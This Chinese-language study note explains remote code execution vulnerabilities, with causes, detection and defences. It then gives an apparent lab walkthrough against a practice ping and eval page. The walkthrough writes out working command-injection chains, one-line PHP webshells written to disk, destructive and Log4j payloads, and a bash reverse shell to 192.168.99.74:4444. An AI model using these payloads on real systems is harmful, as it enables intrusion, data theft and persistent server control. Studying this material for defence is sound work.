1. RCE漏洞原理
- 核心问题:应用程序未对用户输入进行严格过滤,直接将输入内容拼接至系统命令、代码执行函数或反序列化过程中。
- 常见触发场景:
- 命令注入:用户输入被拼接到操作系统命令(如system()、exec())。
- 代码注入:动态执行用户可控的代码(如eval()、Function())。
- 反序列化漏洞:反序列化未经验证的数据触发恶意代码(如Java的ObjectInputStream、Python的pickle)。
2. RCE漏洞类型
(1) 命令注入(Command Injection)
- 触发点:直接调用系统命令的函数(如bash、cmd)。
- 示例:
// PHP代码示例:未过滤用户输入的id参数
id = _GET['id'];
system("ping -c 4 " . $id); - 攻击者可输入127.0.0.1; rm -rf /,导致删除服务器文件。
(2) 反序列化漏洞
- 触发点:反序列化不可信数据时自动调用危险方法(如Java的readObject())。
- 示例:Apache Log4j2(CVE-2021-44228)通过日志记录中的${jndi:ldap://恶意URL}触发远程代码加载。
(3) 动态代码执行
- 触发点:使用eval()、setTimeout()等动态执行代码。
- 示例:
// Node.js代码示例:未过滤用户输入
const userInput = req.query.input;
eval('console.log("' + userInput + '")'); - 输入"); process.exit(1); // 可导致服务崩溃。
3. 典型攻击场景
- Web应用:通过URL参数、HTTP头、表单字段注入恶意命令。
- 中间件/框架:利用Struts2、Spring、Fastjson等框架的漏洞(如CVE-2017-5638)。
- IoT设备:通过未授权接口执行系统命令(如路由器固件漏洞)。
- 供应链攻击:污染开源库(如PyPI、npm包)间接引入RCE。
4. RCE漏洞危害
- 完全控制系统:获取服务器Shell权限,植入后门或勒索软件。
- 数据泄露:窃取数据库、配置文件中的敏感信息。
- 横向渗透:作为跳板攻击内网其他设备。
- 资源滥用:利用服务器进行挖矿、DDoS攻击。
5. 检测方法
(1) 黑盒测试
- 模糊测试(Fuzzing):输入|、;、&、$(cmd)等特殊字符,观察响应异常。
- 工具扫描:使用Burp Suite、Nuclei、Metasploit检测已知RCE漏洞。
(2) 白盒审计
- 代码审计:检查以下高危函数:
- PHP:system(), exec(), popen(), eval().
- Python:os.system(), subprocess.run(), pickle.loads().
- Java:Runtime.exec(), ProcessBuilder(), ObjectInputStream.
- 反序列化检查:验证反序列化数据是否签名或加密。
6. 防御措施
(1) 输入过滤与验证
- 白名单机制:仅允许预期字符(如数字、字母)。
- 转义危险字符:过滤|、&、;、$()等Shell元字符。
(2) 避免直接执行命令
- 使用安全的API替代系统命令。例如:
- 用FileUtils.readFileToString()代替Runtime.exec("cat /etc/passwd")。
(3) 最小权限原则
- Web服务以低权限用户(如www-data)运行,限制命令执行能力。
(4) 禁用危险函数
- 在PHP中禁用eval()、system()等函数(修改php.ini的disable_functions)。
(5) 安全反序列化
- 避免反序列化不可信数据,使用JSON等安全格式替代。
- Java中可启用SerializationFilter(JDK 17+)。
7. 经典案例
- Shellshock(CVE-2014-6271)
- 漏洞原因:Bash解析环境变量时执行恶意代码。
- 攻击载荷:() { :; }; /bin/bash -c '恶意命令'
- Fastjson RCE(CVE-2022-25845)
- 漏洞原因:反序列化时自动加载恶意类。
- 修复方案:升级至1.2.83+版本并启用safeMode。
- Log4j2(CVE-2021-44228)
- 漏洞原因:日志记录中未过滤JNDI lookup。
- 攻击载荷:${jndi:ldap://attacker.com/Exploit}
总结
RCE漏洞的根源在于"信任了不可信的输入"。防御需结合输入过滤、最小权限、代码审计等多层机制,同时及时更新依赖库和框架补丁。对于企业,建议定期进行渗透测试,并建立应急响应流程以快速应对此类高危漏洞。
一,exec "ping
1,提供了一个允许执行ping操作的网站

尝试执行系统命令
127.0.0.1;ls

127.0.0.1 | ls

127.0.0.1 & ls

127.0.0.1 || ls

127.0.0.1 && ls

2,可以看到以上字符除了||都能进行注入,直接写一句话木马到当前文件夹
127.0.0.1;echo "<?php @eval($_POST['attack']);?>" >webshell.php
127.0.0.1;chmod 777 webshell.php
127.0.0.1;ls -la

然后使用蚁剑连接webshell.php
二,exec "eval"
漏洞位置
if(isset(_POST\['submit'\]) \&\& _POST['txt'] != null){
if(@!eval(_POST\['txt'\])){
html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
关键危险函数:eval($_POST['txt'])
漏洞原理
- 直接执行用户输入
用户通过POST提交的txt参数未经任何过滤,直接传递给eval()函数执行。
eval()会将字符串解析为PHP代码执行,攻击者可构造恶意代码注入。 - 缺乏输入过滤
未对$_POST['txt']进行以下安全处理:
- 过滤危险字符(如;、$、{、})
- 白名单验证(仅允许特定字符)
- 代码语法检查
- 错误抑制符(@)的误导
@符号抑制了错误输出,但无法阻止代码执行。即使代码执行失败,攻击者仍可能通过盲注(Blind RCE)探测漏洞。
漏洞危害
- 完全控制服务器:执行系统命令、读写文件、安装后门。
- 数据泄露:读取数据库配置、用户信息等敏感文件。
- 横向渗透:以当前服务器为跳板攻击内网。
- 持久化攻击:植入Webshell、定时任务、SSH密钥。
修复建议
- 禁用eval函数
在php.ini中禁用eval函数:
disable_functions = eval - 输入过滤机制
如果业务必须接受动态代码,需实现严格过滤:
// 示例:仅允许数字和字母
input = _POST['txt'];
if (!preg_match('/^[a-zA-Z0-9]+/', input)) {
die("非法输入!");
} - 使用安全替代方案
- 避免动态执行代码,改用预定义函数或API。
- 例如,若需数学计算,用intval()代替动态表达式。
- 最小权限运行
Web服务器(如Apache/Nginx)以低权限用户(如www-data)运行,限制其执行系统命令的能力。 - 日志监控
记录所有用户输入及异常行为,使用IDS/IPS检测攻击尝试。
一,漏洞验证(POC)
- 提交简单PHP代码测试:
txt=echo phpinfo();
若页面返回PHP配置信息,则漏洞存在。

- 盲注检测(无回显时):
txt=system('sleep 5');
观察响应是否延迟5秒。
二,攻击示例
攻击者可提交以下Payload实现任意代码执行:
// 执行系统命令(如查看文件列表)
txt=system('ls -la /');

// 写入Webshell
txt=file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>');
txt=system('ls');

// 靶机反弹Shell(URL栏需URL编码)
txt=exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.99.74/4444 0>&1'");
攻击机打开监听
nc -lvvp 4444
